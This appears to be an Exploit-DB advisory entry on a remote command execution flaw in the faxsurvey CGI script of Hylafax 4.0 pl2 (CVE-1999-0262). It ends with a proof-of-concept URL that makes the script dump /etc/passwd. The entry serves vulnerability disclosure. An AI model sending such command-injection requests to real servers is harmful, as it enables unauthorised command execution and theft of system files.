Hylafax 4.0 pl2 Faxsurvey Remote Command Execution Vulnerability

1998-08-04T00:00:00
ID EDB-ID:20462
Type exploitdb
Reporter Tom
Modified 1998-08-04T00:00:00

Description

Hylafax 4.0 pl2 Faxsurvey Remote Command Execution Vulnerability. CVE-1999-0262. Remote exploit for unix platform

                                        
                                            source: http://www.securityfocus.com/bid/2056/info

Hylafax is a popular fax server software package designed to run on multiple UNIX operating systems. Unpatched version of Hylafax ship with an insecure script, faxsurvey, which allows remote command execution with the privileges of the web server process. This can be exploited simply by passing the command as a parameter to the script - see exploit. Consequences could include web site defacements, exploiting locally accessible vulnerabilities to gain further privileges, etc. 


http://target.host/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd